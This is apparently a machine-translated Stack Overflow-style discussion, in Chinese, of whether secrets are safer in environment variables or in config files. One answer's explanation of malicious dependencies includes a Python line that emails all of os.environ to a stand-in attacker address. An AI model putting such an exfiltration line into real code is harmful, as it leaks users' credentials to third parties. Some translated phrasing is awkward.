将密码作为环境变量(而不是纯文本)存储在配置文件中是否安全?

我在 Rails、 django (还有一点 php)中开发了一些应用程序,我开始在其中一些应用程序中将数据库和其他密码作为环境变量存储,而不是将纯文本存储在某些配置文件中(或者在 django 应用程序的 setings.py 中)。

在与我的一位合作者讨论这个问题时,他认为这是一种糟糕的做法——也许这种做法并不像乍看起来那样完全安全。

所以,我想知道-这是一个安全的做法?将密码以纯文本形式存储在这些文件中是否更安全(当然,要确保不将这些文件留在公开回购或其他文件中) ?

111695 次浏览

任何时候你必须存储一个密码,它是不安全的。就这样。没有办法安全地存储未加密的密码。现在,环境变量和配置文件哪一个更“安全”也许值得商榷。恕我直言,如果你的系统被入侵了,它存放在哪里并不重要,一个勤奋的黑客可以追踪到它。

在更理论的层面上,我倾向于通过以下方式来考虑安全级别(为了增加强度) :

  • 没有安全措施,只有纯文本,任何知道去哪里找的人都可以访问数据。
  • 混淆保安。你可以把数据(纯文本)存储在一些复杂的地方,比如一个环境变量,或者存储在一个看起来像配置文件的文件中。攻击者最终会发现到底发生了什么,或者偶然发现了什么。
  • 加密提供的安全性很容易破解(想想凯撒密码吧!)。
  • 加密提供的安全性,可以通过一些努力来破解。
  • 加密提供的安全性,不切实际地破坏给定的当前硬件。
  • 最安全的系统是没有人可以使用的! :)

环境变量 更多比明文文件更安全,因为它们是易失性/一次性的,不需要保存; 也就是说,如果只设置一个本地环境变量,比如“ set pwd = whatever”,然后运行脚本, 在脚本结束时退出命令 shell 的变量,则该变量不再存在。 你的案子属于前两种情况,我觉得这种情况很不安全。如果您打算这样做,我不建议在您的内部网/家庭网络之外进行部署,而且只是为了测试的目的。

如前所述,一旦您的系统受到威胁,这两种方法都不会提供任何额外的“安全”层。我认为支持环境变量的最有力的理由之一是版本控制: 我见过太多的数据库配置等被意外地存储在版本控制系统中,比如 GIT,让其他开发人员看到(哎呀!我也经历过... ...)。

如果不将密码存储在文件中,则它们不可能存储在版本控制系统中。

对不起,我没有足够的代表来评论,但是我还想补充一点,如果您不小心,您的 shell 可能会捕获在它的命令历史中的密码。因此,手动运行类似 $ pwd=mypassword my_prog的程序并不像您所希望的那样是短暂的。

这取决于你的威胁模型。

您是否试图防止您的用户将密码洒在他们的文件系统中,以免他们可能忘记或错误处理这些密码?如果是这样,那么是的,因为环境变量的持久性比文件要低。

您是否试图保护您的程序免受直接针对您的程序的恶意攻击?如果是这样,那么就没有,因为环境变量没有与文件相同的访问控制级别。

就个人而言,我认为粗心大意的用户比有动机的对手更常见,所以我会采用环境变量的方法。

我认为在可能的情况下,您应该将您的凭据存储在一个被忽略的文件中,而不是作为环境变量。

在 ENV (环境)变量与文件之间存储凭据时需要考虑的事情之一是,您使用的任何库或依赖项都可以非常容易地检查 ENV 变量。

这可能是恶意的,也可能不是。例如,库作者可以通过电子邮件将堆栈跟踪和 ENV 变量发送给自己进行调试(这不是最佳实践,但却是可行的)。

如果您的凭证在一个文件中,那么查看它们要困难得多。

具体来说,考虑一下节点中的 npm。对于一个 npm 来说,如果您的凭证在 ENV 中,那么查看它们是一个简单的 process.ENV问题。另一方面,如果他们在一个文件,这是一个很多的工作。

凭据文件是否受版本控制是一个单独的问题。非版本控制您的凭据文件暴露给更少的人。没有必要让所有的开发人员都知道生产凭证。既然这符合最小特权原则,我建议你忽略你的证件文件。

AFAICT,人们建议在环境变量中存储秘密有两个原因:

  1. 无意中将秘密平面文件提交到回购协议太容易了(如果是公共回购协议,你就完蛋了。)
  2. 它可以防止密码混乱,也就是说,在许多不同的项目目录文件中使用相同的密钥本身就是一种安全风险,因为开发人员最终会失去对机密所在位置的追踪。

这两个问题可以用更好的方法解决。前者应该通过 git 提交钩子来解决,该钩子检查看起来像密码的东西(例如,漏网之鱼)。我希望 Linus 在 git 库的源代码中构建这样一个工具,但是,唉,事实并非如此。(不用说,应该始终将秘密文件添加到 .gitignore,但是您需要一个钩子,以防有人忘记这样做。)

后者可以通过拥有一个全球性的公司机密文件来解决,这个文件最好存储在一个只读共享驱动器上。因此,在 Python 中,可以使用类似于 from company_secrets import *的代码。

更重要的是,正如其他人指出的那样,破解存储在环境变量中的秘密太容易了。例如,在 Python 中,库作者可以插入 send_email(address="evil.person@evil.com", text=json.dumps(os.environ)),如果执行这段代码,那么您就完蛋了。如果您的系统上有一个名为 ~/secret_company_stuff/.my_very_secret_company_stuff的文件,那么黑客攻击将更具挑战性。

仅限 Django 用户:
Django (在 DEBUG 模式下)在浏览器中显示一个环境变量的原始值,如果有异常(在 DEBUG 模式下)。例如,如果开发人员在生产环境中不小心设置了 DEBUG=True,那么这似乎是非常不安全的。相比之下,Django DOES 通过在框架的 settings.py文件的变量名中查找字符串 APITOKENKEYSECRETPASSSIGNATURE来混淆密码设置变量。

其中,使用 环境变量存储机密的一个问题是,这些机密可能会无意中泄露:

  • 向用户显示带有上下文(env vars)的原始错误消息的混乱代码
  • 监控工具捕获错误和上下文,并将其发送/存储以备将来调查
  • 开发人员日志记录环境变量,这些变量将它们保存到磁盘(可能还会保存到某些日志处理工具,例如 Logstash)
  • 受损的依赖项发送它能够到达的所有全局变量,包括向攻击者发送 env vars
  • 在 shell 历史中设置 env 变量 留下痕迹

存储在 配置文件中的机密的潜在问题:

  • 错误配置的文件权限允许访问随机操作系统用户
  • 开发人员向版本控制添加配置文件
    • 故意的(不知道它是坏的)
    • 是意外。即使文件被删除(可能是在公关审查期间) ,如果处理不当,它可能仍然存在于 Git 提交历史中。

与你储存机密的方式无关,如果你的系统被破坏了,你就完蛋了。提取这些只是时间和精力的问题。

那么我们能做些什么来最小化风险呢?

不要用纯文本存储/传递秘密。 解决这个问题的一种方法是使用外部(管理或自托管)的秘密存储解决方案(例如 AWS 参数存储、 Azure Vault、 Hashicorp Vault) ,并在运行时获取敏感数据(可能在内存中缓存)。这样,你的秘密在传输过程中就被加密了。